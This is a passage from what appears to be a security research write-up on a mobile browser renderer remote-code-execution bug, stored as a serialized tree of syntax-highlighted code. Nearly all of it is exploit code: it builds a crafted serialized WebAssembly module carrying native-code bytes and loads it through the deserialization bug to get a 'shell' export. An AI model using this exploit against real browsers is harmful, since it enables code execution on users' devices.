134164],{"type":28,"value":131039},{"type":23,"tag":481,"props":134166,"children":134167},{"style":525},[134168],{"type":28,"value":588},{"type":23,"tag":481,"props":134170,"children":134171},{"style":551},[134172],{"type":28,"value":1558},{"type":23,"tag":481,"props":134174,"children":134175},{"style":525},[134176],{"type":28,"value":588},{"type":23,"tag":481,"props":134178,"children":134179},{"style":551},[134180],{"type":28,"value":1568},{"type":23,"tag":481,"props":134182,"children":134183},{"style":525},[134184],{"type":28,"value":588},{"type":23,"tag":481,"props":134186,"children":134187},{"style":551},[134188],{"type":28,"value":1568},{"type":23,"tag":481,"props":134190,"children":134191},{"style":525},[134192],{"type":28,"value":588},{"type":23,"tag":481,"props":134194,"children":134195},{"style":551},[134196],{"type":28,"value":1568},{"type":23,"tag":481,"props":134198,"children":134199},{"style":525},[134200],{"type":28,"value":588},{"type":23,"tag":481,"props":134202,"children":134203},{"style":551},[134204],{"type":28,"value":1558},{"type":23,"tag":481,"props":134206,"children":134207},{"style":525},[134208],{"type":28,"value":588},{"type":23,"tag":481,"props":134210,"children":134211},{"style":551},[134212],{"type":28,"value":15021},{"type":23,"tag":481,"props":134214,"children":134215},{"style":525},[134216],{"type":28,"value":588},{"type":23,"tag":481,"props":134218,"children":134219},{"style":551},[134220],{"type":28,"value":1558},{"type":23,"tag":481,"props":134222,"children":134223},{"style":525},[134224],{"type":28,"value":588},{"type":23,"tag":481,"props":134226,"children":134227},{"style":551},[134228],{"type":28,"value":131104},{"type":23,"tag":481,"props":134230,"children":134231},{"style":525},[134232],{"type":28,"value":588},{"type":23,"tag":481,"props":134234,"children":134235},{"style":551},[134236],{"type":28,"value":1568},{"type":23,"tag":481,"props":134238,"children":134239},{"style":525},[134240],{"type":28,"value":588},{"type":23,"tag":481,"props":134242,"children":134243},{"style":551},[134244],{"type":28,"value":1568},{"type":23,"tag":481,"props":134246,"children":134247},{"style":525},[134248],{"type":28,"value":588},{"type":23,"tag":481,"props":134250,"children":134251},{"style":551},[134252],{"type":28,"value":14788},{"type":23,"tag":481,"props":134254,"children":134255},{"style":525},[134256],{"type":28,"value":588},{"type":23,"tag":481,"props":134258,"children":134259},{"style":551},[134260],{"type":28,"value":637},{"type":23,"tag":481,"props":134262,"children":134263},{"style":525},[134264],{"type":28,"value":588},{"type":23,"tag":481,"props":134266,"children":134267},{"style":551},[134268],{"type":28,"value":1558},{"type":23,"tag":481,"props":134270,"children":134271},{"style":525},[134272],{"type":28,"value":588},{"type":23,"tag":481,"props":134274,"children":134275},{"style":551},[134276],{"type":28,"value":1568},{"type":23,"tag":481,"props":134278,"children":134279},{"style":525},[134280],{"type":28,"value":588},{"type":23,"tag":481,"props":134282,"children":134283},{"style":551},[134284],{"type":28,"value":52197},{"type":23,"tag":481,"props":134286,"children":134287},{"style":525},[134288],{"type":28,"value":588},{"type":23,"tag":481,"props":134290,"children":134291},{"style":551},[134292],{"type":28,"value":53412},{"type":23,"tag":481,"props":134294,"children":134295},{"style":525},[134296],{"type":28,"value":588},{"type":23,"tag":481,"props":134298,"children":134299},{"style":551},[134300],{"type":28,"value":1558},{"type":23,"tag":481,"props":134302,"children":134303},{"style":525},[134304],{"type":28,"value":588},{"type":23,"tag":481,"props":134306,"children":134307},{"style":551},[134308],{"type":28,"value":15602},{"type":23,"tag":481,"props":134310,"children":134311},{"style":525},[134312],{"type":28,"value":588},{"type":23,"tag":481,"props":134314,"children":134315},{"style":551},[134316],{"type":28,"value":131030},{"type":23,"tag":481,"props":134318,"children":134319},{"style":525},[134320],{"type":28,"value":588},{"type":23,"tag":481,"props":134322,"children":134323},{"style":551},[134324],{"type":28,"value":131201},{"type":23,"tag":481,"props":134326,"children":134327},{"style":525},[134328],{"type":28,"value":588},{"type":23,"tag":481,"props":134330,"children":134331},{"style":551},[134332],{"type":28,"value":131210},{"type":23,"tag":481,"props":134334,"children":134335},{"style":525},[134336],{"type":28,"value":588},{"type":23,"tag":481,"props":134338,"children":134339},{"style":551},[134340],{"type":28,"value":131219},{"type":23,"tag":481,"props":134342,"children":134343},{"style":525},[134344],{"type":28,"value":588},{"type":23,"tag":481,"props":134346,"children":134347},{"style":551},[134348],{"type":28,"value":131219},{"type":23,"tag":481,"props":134350,"children":134351},{"style":525},[134352],{"type":28,"value":1033},{"type":23,"tag":481,"props":134354,"children":134355},{"class":483,"line":567},[134356,134360,134364,134368,134372,134376,134380,134384,134388,134392,134396,134400,134404,134408,134412,134416],{"type":23,"tag":481,"props":134357,"children":134358},{"style":551},[134359],{"type":28,"value":131729},{"type":23,"tag":481,"props":134361,"children":134362},{"style":525},[134363],{"type":28,"value":588},{"type":23,"tag":481,"props":134365,"children":134366},{"style":551},[134367],{"type":28,"value":1568},{"type":23,"tag":481,"props":134369,"children":134370},{"style":525},[134371],{"type":28,"value":588},{"type":23,"tag":481,"props":134373,"children":134374},{"style":551},[134375],{"type":28,"value":86785},{"type":23,"tag":481,"props":134377,"children":134378},{"style":525},[134379],{"type":28,"value":588},{"type":23,"tag":481,"props":134381,"children":134382},{"style":551},[134383],{"type":28,"value":15021},{"type":23,"tag":481,"props":134385,"children":134386},{"style":525},[134387],{"type":28,"value":588},{"type":23,"tag":481,"props":134389,"children":134390},{"style":551},[134391],{"type":28,"value":1558},{"type":23,"tag":481,"props":134393,"children":134394},{"style":525},[134395],{"type":28,"value":588},{"type":23,"tag":481,"props":134397,"children":134398},{"style":551},[134399],{"type":28,"value":637},{"type":23,"tag":481,"props":134401,"children":134402},{"style":525},[134403],{"type":28,"value":588},{"type":23,"tag":481,"props":134405,"children":134406},{"style":551},[134407],{"type":28,"value":1568},{"type":23,"tag":481,"props":134409,"children":134410},{"style":525},[134411],{"type":28,"value":588},{"type":23,"tag":481,"props":134413,"children":134414},{"style":551},[134415],{"type":28,"value":131295},{"type":23,"tag":481,"props":134417,"children":134418},{"style":525},[134419],{"type":28,"value":1033},{"type":23,"tag":481,"props":134421,"children":134422},{"class":483,"line":678},[134423],{"type":23,"tag":481,"props":134424,"children":134425},{"style":525},[134426],{"type":28,"value":132016},{"type":23,"tag":481,"props":134428,"children":134429},{"class":483,"line":784},[134430,134434,134438,134442,134446,134450,134454,134458,134462,134466],{"type":23,"tag":481,"props":134431,"children":134432},{"style":497},[134433],{"type":28,"value":134113},{"type":23,"tag":481,"props":134435,"children":134436},{"style":508},[134437],{"type":28,"value":69154},{"type":23,"tag":481,"props":134439,"children":134440},{"style":514},[134441],{"type":28,"value":517},{"type":23,"tag":481,"props":134443,"children":134444},{"style":497},[134445],{"type":28,"value":29448},{"type":23,"tag":481,"props":134447,"children":134448},{"style":508},[134449],{"type":28,"value":131330},{"type":23,"tag":481,"props":134451,"children":134452},{"style":525},[134453],{"type":28,"value":199},{"type":23,"tag":481,"props":134455,"children":134456},{"style":610},[134457],{"type":28,"value":83451},{"type":23,"tag":481,"props":134459,"children":134460},{"style":525},[134461],{"type":28,"value":618},{"type":23,"tag":481,"props":134463,"children":134464},{"style":508},[134465],{"type":28,"value":131347},{"type":23,"tag":481,"props":134467,"children":134468},{"style":525},[134469],{"type":28,"value":1366},{"type":23,"tag":481,"props":134471,"children":134472},{"class":483,"line":812},[134473,134477,134481,134485,134489,134493,134497,134501,134505,134509],{"type":23,"tag":481,"props":134474,"children":134475},{"style":497},[134476],{"type":28,"value":134113},{"type":23,"tag":481,"props":134478,"children":134479},{"style":508},[134480],{"type":28,"value":131363},{"type":23,"tag":481,"props":134482,"children":134483},{"style":514},[134484],{"type":28,"value":517},{"type":23,"tag":481,"props":134486,"children":134487},{"style":497},[134488],{"type":28,"value":29448},{"type":23,"tag":481,"props":134490,"children":134491},{"style":508},[134492],{"type":28,"value":131330},{"type":23,"tag":481,"props":134494,"children":134495},{"style":525},[134496],{"type":28,"value":199},{"type":23,"tag":481,"props":134498,"children":134499},{"style":610},[134500],{"type":28,"value":131384},{"type":23,"tag":481,"props":134502,"children":134503},{"style":525},[134504],{"type":28,"value":618},{"type":23,"tag":481,"props":134506,"children":134507},{"style":508},[134508],{"type":28,"value":131393},{"type":23,"tag":481,"props":134510,"children":134511},{"style":525},[134512],{"type":28,"value":1366},{"type":23,"tag":481,"props":134514,"children":134515},{"class":483,"line":825},[134516,134520,134524,134528,134532,134536,134540,134544,134548],{"type":23,"tag":481,"props":134517,"children":134518},{"style":497},[134519],{"type":28,"value":134113},{"type":23,"tag":481,"props":134521,"children":134522},{"style":508},[134523],{"type":28,"value":77541},{"type":23,"tag":481,"props":134525,"children":134526},{"style":514},[134527],{"type":28,"value":517},{"type":23,"tag":481,"props":134529,"children":134530},{"style":508},[134531],{"type":28,"value":131363},{"type":23,"tag":481,"props":134533,"children":134534},{"style":525},[134535],{"type":28,"value":199},{"type":23,"tag":481,"props":134537,"children":134538},{"style":508},[134539],{"type":28,"value":35404},{"type":23,"tag":481,"props":134541,"children":134542},{"style":525},[134543],{"type":28,"value":199},{"type":23,"tag":481,"props":134545,"children":134546},{"style":508},[134547],{"type":28,"value":131433},{"type":23,"tag":481,"props":134549,"children":134550},{"style":525},[134551],{"type":28,"value":528},{"type":23,"tag":481,"props":134553,"children":134554},{"class":483,"line":843},[134555],{"type":23,"tag":481,"props":134556,"children":134557},{"emptyLinePlaceholder":15},[134558],{"type":28,"value":1210},{"type":23,"tag":481,"props":134560,"children":134561},{"class":483,"line":864},[134562],{"type":23,"tag":481,"props":134563,"children":134564},{"style":488},[134565],{"type":28,"value":134566}," // %WasmTierUpFunction(func);\n",{"type":23,"tag":481,"props":134568,"children":134569},{"class":483,"line":873},[134570,134575,134579,134583,134587,134591,134595,134599,134603,134607,134611,134615,134619,134623],{"type":23,"tag":481,"props":134571,"children":134572},{"style":535},[134573],{"type":28,"value":134574}," for",{"type":23,"tag":481,"props":134576,"children":134577},{"style":525},[134578],{"type":28,"value":578},{"type":23,"tag":481,"props":134580,"children":134581},{"style":497},[134582],{"type":28,"value":9274},{"type":23,"tag":481,"props":134584,"children":134585},{"style":508},[134586],{"type":28,"value":922},{"type":23,"tag":481,"props":134588,"children":134589},{"style":514},[134590],{"type":28,"value":517},{"type":23,"tag":481,"props":134592,"children":134593},{"style":551},[134594],{"type":28,"value":554},{"type":23,"tag":481,"props":134596,"children":134597},{"style":525},[134598],{"type":28,"value":14719},{"type":23,"tag":481,"props":134600,"children":134601},{"style":508},[134602],{"type":28,"value":1274},{"type":23,"tag":481,"props":134604,"children":134605},{"style":514},[134606],{"type":28,"value":6199},{"type":23,"tag":481,"props":134608,"children":134609},{"style":551},[134610],{"type":28,"value":134035},{"type":23,"tag":481,"props":134612,"children":134613},{"style":525},[134614],{"type":28,"value":14719},{"type":23,"tag":481,"props":134616,"children":134617},{"style":508},[134618],{"type":28,"value":1274},{"type":23,"tag":481,"props":134620,"children":134621},{"style":514},[134622],{"type":28,"value":48795},{"type":23,"tag":481,"props":134624,"children":134625},{"style":525},[134626],{"type":28,"value":12292},{"type":23,"tag":481,"props":134628,"children":134629},{"class":483,"line":1125},[134630,134635],{"type":23,"tag":481,"props":134631,"children":134632},{"style":610},[134633],{"type":28,"value":134634}," func",{"type":23,"tag":481,"props":134636,"children":134637},{"style":525},[134638],{"type":28,"value":1201},{"type":23,"tag":481,"props":134640,"children":134641},{"class":483,"line":1142},[134642],{"type":23,"tag":481,"props":134643,"children":134644},{"style":525},[134645],{"type":28,"value":3348},{"type":23,"tag":481,"props":134647,"children":134648},{"class":483,"line":1159},[134649],{"type":23,"tag":481,"props":134650,"children":134651},{"emptyLinePlaceholder":15},[134652],{"type":28,"value":1210},{"type":23,"tag":481,"props":134654,"children":134655},{"class":483,"line":1172},[134656,134660,134664,134668,134672,134676,134680],{"type":23,"tag":481,"props":134657,"children":134658},{"style":497},[134659],{"type":28,"value":5334},{"type":23,"tag":481,"props":134661,"children":134662},{"style":508},[134663],{"type":28,"value":133469},{"type":23,"tag":481,"props":134665,"children":134666},{"style":514},[134667],{"type":28,"value":517},{"type":23,"tag":481,"props":134669,"children":134670},{"style":610},[134671],{"type":28,"value":133478},{"type":23,"tag":481,"props":134673,"children":134674},{"style":525},[134675],{"type":28,"value":618},{"type":23,"tag":481,"props":134677,"children":134678},{"style":508},[134679],{"type":28,"value":131393},{"type":23,"tag":481,"props":134681,"children":134682},{"style":525},[134683],{"type":28,"value":1366},{"type":23,"tag":481,"props":134685,"children":134686},{"class":483,"line":1181},[134687,134691,134695,134699,134703,134707,134711,134715,134719,134723],{"type":23,"tag":481,"props":134688,"children":134689},{"style":508},[134690],{"type":28,"value":133514},{"type":23,"tag":481,"props":134692,"children":134693},{"style":514},[134694],{"type":28,"value":517},{"type":23,"tag":481,"props":134696,"children":134697},{"style":525},[134698],{"type":28,"value":578},{"type":23,"tag":481,"props":134700,"children":134701},{"style":535},[134702],{"type":28,"value":30432},{"type":23,"tag":481,"props":134704,"children":134705},{"style":508},[134706],{"type":28,"value":133469},{"type":23,"tag":481,"props":134708,"children":134709},{"style":525},[134710],{"type":28,"value":199},{"type":23,"tag":481,"props":134712,"children":134713},{"style":610},[134714],{"type":28,"value":55092},{"type":23,"tag":481,"props":134716,"children":134717},{"style":525},[134718],{"type":28,"value":133543},{"type":23,"tag":481,"props":134720,"children":134721},{"style":508},[134722],{"type":28,"value":36670},{"type":23,"tag":481,"props":134724,"children":134725},{"style":525},[134726],{"type":28,"value":528},{"type":23,"tag":481,"props":134728,"children":134729},{"class":483,"line":1204},[134730,134734,134738,134742,134746,134750],{"type":23,"tag":481,"props":134731,"children":134732},{"style":508},[134733],{"type":28,"value":99476},{"type":23,"tag":481,"props":134735,"children":134736},{"style":525},[134737],{"type":28,"value":199},{"type":23,"tag":481,"props":134739,"children":134740},{"style":610},[134741],{"type":28,"value":99485},{"type":23,"tag":481,"props":134743,"children":134744},{"style":525},[134745],{"type":28,"value":618},{"type":23,"tag":481,"props":134747,"children":134748},{"style":508},[134749],{"type":28,"value":6564},{"type":23,"tag":481,"props":134751,"children":134752},{"style":525},[134753],{"type":28,"value":1366},{"type":23,"tag":481,"props":134755,"children":134756},{"class":483,"line":1213},[134757],{"type":23,"tag":481,"props":134758,"children":134759},{"emptyLinePlaceholder":15},[134760],{"type":28,"value":1210},{"type":23,"tag":481,"props":134762,"children":134763},{"class":483,"line":1222},[134764,134768,134773,134777,134781,134785,134789,134793],{"type":23,"tag":481,"props":134765,"children":134766},{"style":497},[134767],{"type":28,"value":5334},{"type":23,"tag":481,"props":134769,"children":134770},{"style":508},[134771],{"type":28,"value":134772}," result_bytes",{"type":23,"tag":481,"props":134774,"children":134775},{"style":514},[134776],{"type":28,"value":517},{"type":23,"tag":481,"props":134778,"children":134779},{"style":497},[134780],{"type":28,"value":29448},{"type":23,"tag":481,"props":134782,"children":134783},{"style":610},[134784],{"type":28,"value":130999},{"type":23,"tag":481,"props":134786,"children":134787},{"style":525},[134788],{"type":28,"value":618},{"type":23,"tag":481,"props":134790,"children":134791},{"style":508},[134792],{"type":28,"value":6564},{"type":23,"tag":481,"props":134794,"children":134795},{"style":525},[134796],{"type":28,"value":1366},{"type":23,"tag":481,"props":134798,"children":134799},{"class":483,"line":1291},[134800,134804,134808,134812,134816,134820,134824,134828,134832,134836,134840,134844,134848,134852,134856],{"type":23,"tag":481,"props":134801,"children":134802},{"style":508},[134803],{"type":28,"value":99476},{"type":23,"tag":481,"props":134805,"children":134806},{"style":525},[134807],{"type":28,"value":199},{"type":23,"tag":481,"props":134809,"children":134810},{"style":610},[134811],{"type":28,"value":99485},{"type":23,"tag":481,"props":134813,"children":134814},{"style":525},[134815],{"type":28,"value":618},{"type":23,"tag":481,"props":134817,"children":134818},{"style":1805},[134819],{"type":28,"value":131566},{"type":23,"tag":481,"props":134821,"children":134822},{"style":514},[134823],{"type":28,"value":6385},{"type":23,"tag":481,"props":134825,"children":134826},{"style":508},[134827],{"type":28,"value":134772},{"type":23,"tag":481,"props":134829,"children":134830},{"style":525},[134831],{"type":28,"value":199},{"type":23,"tag":481,"props":134833,"children":134834},{"style":610},[134835],{"type":28,"value":131583},{"type":23,"tag":481,"props":134837,"children":134838},{"style":525},[134839],{"type":28,"value":618},{"type":23,"tag":481,"props":134841,"children":134842},{"style":1805},[134843],{"type":28,"value":131592},{"type":23,"tag":481,"props":134845,"children":134846},{"style":525},[134847],{"type":28,"value":598},{"type":23,"tag":481,"props":134849,"children":134850},{"style":514},[134851],{"type":28,"value":1930},{"type":23,"tag":481,"props":134853,"children":134854},{"style":1805},[134855],{"type":28,"value":131605},{"type":23,"tag":481,"props":134857,"children":134858},{"style":525},[134859],{"type":28,"value":1366},{"type":23,"tag":481,"props":134861,"children":134862},{"class":483,"line":1299},[134863],{"type":23,"tag":481,"props":134864,"children":134865},{"style":525},[134866],{"type":28,"value":99517},{"type":23,"tag":24,"props":134868,"children":134869},{},[134870],{"type":28,"value":134871},"We get the serialized bytes:",{"type":23,"tag":24,"props":134873,"children":134874},{},[134875],{"type":23,"tag":149,"props":134876,"children":134879},{"alt":134877,"src":134878},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":23,"tag":24,"props":134881,"children":134882},{},[134883,134885,134890],{"type":28,"value":134884},"We can now embed this output into the original bytecode that calls ",{"type":23,"tag":64,"props":134886,"children":134888},{"className":134887},[],[134889],{"type":28,"value":130462},{"type":28,"value":287},{"type":23,"tag":435,"props":134892,"children":134894},{"code":134893,"language":33133,"meta":7,"className":33131,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n 0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n 213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n 255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 92, 50, 162, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n console.log('DeserializeWasmModule result: ' + result);\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n console.log(f);\n})();\n",[134895],{"type":23,"tag":64,"props":134896,"children":134897},{"__ignoreMap":7},[134898,134921,134948,135167,135234,135241,135268,135479,135730,135981,136205,136387,136608,136686,136693,136740,136783,136819,136862,136901,136928],{"type":23,"tag":481,"props":134899,"children":134900},{"class":483,"line":484},[134901,134905,134909,134913,134917],{"type":23,"tag":481,"props":134902,"children":134903},{"style":525},[134904],{"type":28,"value":618},{"type":23,"tag":481,"props":134906,"children":134907},{"style":497},[134908],{"type":28,"value":33663},{"type":23,"tag":481,"props":134910,"children":134911},{"style":525},[134912],{"type":28,"value":37215},{"type":23,"tag":481,"props":134914,"children":134915},{"style":497},[134916],{"type":28,"value":12310},{"type":23,"tag":481,"props":134918,"children":134919},{"style":525},[134920],{"type":28,"value":809},{"type":23,"tag":481,"props":134922,"children":134923},{"class":483,"line":351},[134924,134928,134932,134936,134940,134944],{"type":23,"tag":481,"props":134925,"children":134926},{"style":497},[134927],{"type":28,"value":33706},{"type":23,"tag":481,"props":134929,"children":134930},{"style":508},[134931],{"type":28,"value":130986},{"type":23,"tag":481,"props":134933,"children":134934},{"style":514},[134935],{"type":28,"value":517},{"type":23,"tag":481,"props":134937,"children":134938},{"style":497},[134939],{"type":28,"value":29448},{"type":23,"tag":481,"props":134941,"children":134942},{"style":610},[134943],{"type":28,"value":130999},{"type":23,"tag":481,"props":134945,"children":134946},{"style":525},[134947],{"type":28,"value":131004},{"type":23,"tag":481,"props":134949,"children":134950},{"class":483,"line":531},[134951,134955,134959,134963,134967,134971,134975,134979,134983,134987,134991,134995,134999,135003,135007,135011,135015,135019,135023,135027,135031,135035,135039,135043,135047,135051,135055,135059,135063,135067,135071,135075,135079,135083,135087,135091,135095,135099,135103,135107,135111,135115,135119,135123,135127,135131,135135,135139,135143,135147,135151,135155,135159,135163],{"type":23,"tag":481,"props":134952,"children":134953},{"style":551},[134954],{"type":28,"value":131729},{"type":23,"tag":481,"props":134956,"children":134957},{"style":525},[134958],{"type":28,"value":588},{"type":23,"tag":481,"props":134960,"children":134961},{"style":551},[134962],{"type":28,"value":131021},{"type":23,"tag":481,"props":134964,"children":134965},{"style":525},[134966],{"type":28,"value":588},{"type":23,"tag":481,"props":134968,"children":134969},{"style":551},[134970],{"type":28,"value":131030},{"type":23,"tag":481,"props":134972,"children":134973},{"style":525},[134974],{"type":28,"value":588},{"type":23,"tag":481,"props":134976,"children":134977},{"style":551},[134978],{"type":28,"value":131039},{"type":23,"tag":481,"props":134980,"children":134981},{"style":525},[134982],{"type":28,"value":588},{"type":23,"tag":481,"props":134984,"children":134985},{"style":551},[134986],{"type":28,"value":1558},{"type":23,"tag":481,"props":134988,"children":134989},{"style":525},[134990],{"type":28,"value":588},{"type":23,"tag":481,"props":134992,"children":134993},{"style":551},[134994],{"type":28,"value":1568},{"type":23,"tag":481,"props":134996,"children":134997},{"style":525},[134998],{"type":28,"value":588},{"type":23,"tag":481,"props":135000,"children":135001},{"style":551},[135002],{"type":28,"value":1568},{"type":23,"tag":481,"props":135004,"children":135005},{"style":525},[135006],{"type":28,"value":588},{"type":23,"tag":481,"props":135008,"children":135009},{"style":551},[135010],{"type":28,"value":1568},{"type":23,"tag":481,"props":135012,"children":135013},{"style":525},[135014],{"type":28,"value":588},{"type":23,"tag":481,"props":135016,"children":135017},{"style":551},[135018],{"type":28,"value":1558},{"type":23,"tag":481,"props":135020,"children":135021},{"style":525},[135022],{"type":28,"value":588},{"type":23,"tag":481,"props":135024,"children":135025},{"style":551},[135026],{"type":28,"value":15021},{"type":23,"tag":481,"props":135028,"children":135029},{"style":525},[135030],{"type":28,"value":588},{"type":23,"tag":481,"props":135032,"children":135033},{"style":551},[135034],{"type":28,"value":1558},{"type":23,"tag":481,"props":135036,"children":135037},{"style":525},[135038],{"type":28,"value":588},{"type":23,"tag":481,"props":135040,"children":135041},{"style":551},[135042],{"type":28,"value":131104},{"type":23,"tag":481,"props":135044,"children":135045},{"style":525},[135046],{"type":28,"value":588},{"type":23,"tag":481,"props":135048,"children":135049},{"style":551},[135050],{"type":28,"value":1568},{"type":23,"tag":481,"props":135052,"children":135053},{"style":525},[135054],{"type":28,"value":588},{"type":23,"tag":481,"props":135056,"children":135057},{"style":551},[135058],{"type":28,"value":1568},{"type":23,"tag":481,"props":135060,"children":135061},{"style":525},[135062],{"type":28,"value":588},{"type":23,"tag":481,"props":135064,"children":135065},{"style":551},[135066],{"type":28,"value":14788},{"type":23,"tag":481,"props":135068,"children":135069},{"style":525},[135070],{"type":28,"value":588},{"type":23,"tag":481,"props":135072,"children":135073},{"style":551},[135074],{"type":28,"value":637},{"type":23,"tag":481,"props":135076,"children":135077},{"style":525},[135078],{"type":28,"value":588},{"type":23,"tag":481,"props":135080,"children":135081},{"style":551},[135082],{"type":28,"value":1558},{"type":23,"tag":481,"props":135084,"children":135085},{"style":525},[135086],{"type":28,"value":588},{"type":23,"tag":481,"props":135088,"children":135089},{"style":551},[135090],{"type":28,"value":1568},{"type":23,"tag":481,"props":135092,"children":135093},{"style":525},[135094],{"type":28,"value":588},{"type":23,"tag":481,"props":135096,"children":135097},{"style":551},[135098],{"type":28,"value":52197},{"type":23,"tag":481,"props":135100,"children":135101},{"style":525},[135102],{"type":28,"value":588},{"type":23,"tag":481,"props":135104,"children":135105},{"style":551},[135106],{"type":28,"value":53412},{"type":23,"tag":481,"props":135108,"children":135109},{"style":525},[135110],{"type":28,"value":588},{"type":23,"tag":481,"props":135112,"children":135113},{"style":551},[135114],{"type":28,"value":1558},{"type":23,"tag":481,"props":135116,"children":135117},{"style":525},[135118],{"type":28,"value":588},{"type":23,"tag":481,"props":135120,"children":135121},{"style":551},[135122],{"type":28,"value":15602},{"type":23,"tag":481,"props":135124,"children":135125},{"style":525},[135126],{"type":28,"value":588},{"type":23,"tag":481,"props":135128,"children":135129},{"style":551},[135130],{"type":28,"value":131030},{"type":23,"tag":481,"props":135132,"children":135133},{"style":525},[135134],{"type":28,"value":588},{"type":23,"tag":481,"props":135136,"children":135137},{"style":551},[135138],{"type":28,"value":131201},{"type":23,"tag":481,"props":135140,"children":135141},{"style":525},[135142],{"type":28,"value":588},{"type":23,"tag":481,"props":135144,"children":135145},{"style":551},[135146],{"type":28,"value":131210},{"type":23,"tag":481,"props":135148,"children":135149},{"style":525},[135150],{"type":28,"value":588},{"type":23,"tag":481,"props":135152,"children":135153},{"style":551},[135154],{"type":28,"value":131219},{"type":23,"tag":481,"props":135156,"children":135157},{"style":525},[135158],{"type":28,"value":588},{"type":23,"tag":481,"props":135160,"children":135161},{"style":551},[135162],{"type":28,"value":131219},{"type":23,"tag":481,"props":135164,"children":135165},{"style":525},[135166],{"type":28,"value":1033},{"type":23,"tag":481,"props":135168,"children":135169},{"class":483,"line":567},[135170,135174,135178,135182,135186,135190,135194,135198,135202,135206,135210,135214,135218,135222,135226,135230],{"type":23,"tag":481,"props":135171,"children":135172},{"style":551},[135173],{"type":28,"value":131729},{"type":23,"tag":481,"props":135175,"children":135176},{"style":525},[135177],{"type":28,"value":588},{"type":23,"tag":481,"props":135179,"children":135180},{"style":551},[135181],{"type":28,"value":1568},{"type":23,"tag":481,"props":135183,"children":135184},{"style":525},[135185],{"type":28,"value":588},{"type":23,"tag":481,"props":135187,"children":135188},{"style":551},[135189],{"type":28,"value":86785},{"type":23,"tag":481,"props":135191,"children":135192},{"style":525},[135193],{"type":28,"value":588},{"type":23,"tag":481,"props":135195,"children":135196},{"style":551},[135197],{"type":28,"value":15021},{"type":23,"tag":481,"props":135199,"children":135200},{"style":525},[135201],{"type":28,"value":588},{"type":23,"tag":481,"props":135203,"children":135204},{"style":551},[135205],{"type":28,"value":1558},{"type":23,"tag":481,"props":135207,"children":135208},{"style":525},[135209],{"type":28,"value":588},{"type":23,"tag":481,"props":135211,"children":135212},{"style":551},[135213],{"type":28,"value":637},{"type":23,"tag":481,"props":135215,"children":135216},{"style":525},[135217],{"type":28,"value":588},{"type":23,"tag":481,"props":135219,"children":135220},{"style":551},[135221],{"type":28,"value":1568},{"type":23,"tag":481,"props":135223,"children":135224},{"style":525},[135225],{"type":28,"value":588},{"type":23,"tag":481,"props":135227,"children":135228},{"style":551},[135229],{"type":28,"value":131295},{"type":23,"tag":481,"props":135231,"children":135232},{"style":525},[135233],{"type":28,"value":1033},{"type":23,"tag":481,"props":135235,"children":135236},{"class":483,"line":678},[135237],{"type":23,"tag":481,"props":135238,"children":135239},{"style":525},[135240],{"type":28,"value":132016},{"type":23,"tag":481,"props":135242,"children":135243},{"class":483,"line":784},[135244,135248,135252,135256,135260,135264],{"type":23,"tag":481,"props":135245,"children":135246},{"style":497},[135247],{"type":28,"value":33706},{"type":23,"tag":481,"props":135249,"children":135250},{"style":508},[135251],{"type":28,"value":122799},{"type":23,"tag":481,"props":135253,"children":135254},{"style":514},[135255],{"type":28,"value":517},{"type":23,"tag":481,"props":135257,"children":135258},{"style":497},[135259],{"type":28,"value":29448},{"type":23,"tag":481,"props":135261,"children":135262},{"style":610},[135263],{"type":28,"value":130999},{"type":23,"tag":481,"props":135265,"children":135266},{"style":525},[135267],{"type":28,"value":131004},{"type":23,"tag":481,"props":135269,"children":135270},{"class":483,"line":812},[135271,135276,135280,135284,135288,135292,135296,135300,135304,135309,135313,135318,135322,135327,135331,135336,135340,135344,135348,135352,135356,135360,135364,135368,135372,135377,135381,135386,135390,135395,135399,135403,135407,135411,135415,135419,135423,135427,135431,135435,135439,135443,135447,135451,135455,135459,135463,135467,135471,135475],{"type":23,"tag":481,"props":135272,"children":135273},{"style":551},[135274],{"type":28,"value":135275}," 146",{"type":23,"tag":481,"props":135277,"children":135278},{"style":525},[135279],{"type":28,"value":588},{"type":23,"tag":481,"props":135281,"children":135282},{"style":551},[135283],{"type":28,"value":15914},{"type":23,"tag":481,"props":135285,"children":135286},{"style":525},[135287],{"type":28,"value":588},{"type":23,"tag":481,"props":135289,"children":135290},{"style":551},[135291],{"type":28,"value":132068},{"type":23,"tag":481,"props":135293,"children":135294},{"style":525},[135295],{"type":28,"value":588},{"type":23,"tag":481,"props":135297,"children":135298},{"style":551},[135299],{"type":28,"value":132077},{"type":23,"tag":481,"props":135301,"children":135302},{"style":525},[135303],{"type":28,"value":588},{"type":23,"tag":481,"props":135305,"children":135306},{"style":551},[135307],{"type":28,"value":135308},"174",{"type":23,"tag":481,"props":135310,"children":135311},{"style":525},[135312],{"type":28,"value":588},{"type":23,"tag":481,"props":135314,"children":135315},{"style":551},[135316],{"type":28,"value":135317},"122",{"type":23,"tag":481,"props":135319,"children":135320},{"style":525},[135321],{"type":28,"value":588},{"type":23,"tag":481,"props":135323,"children":135324},{"style":551},[135325],{"type":28,"value":135326},"171",{"type":23,"tag":481,"props":135328,"children":135329},{"style":525},[135330],{"type":28,"value":588},{"type":23,"tag":481,"props":13533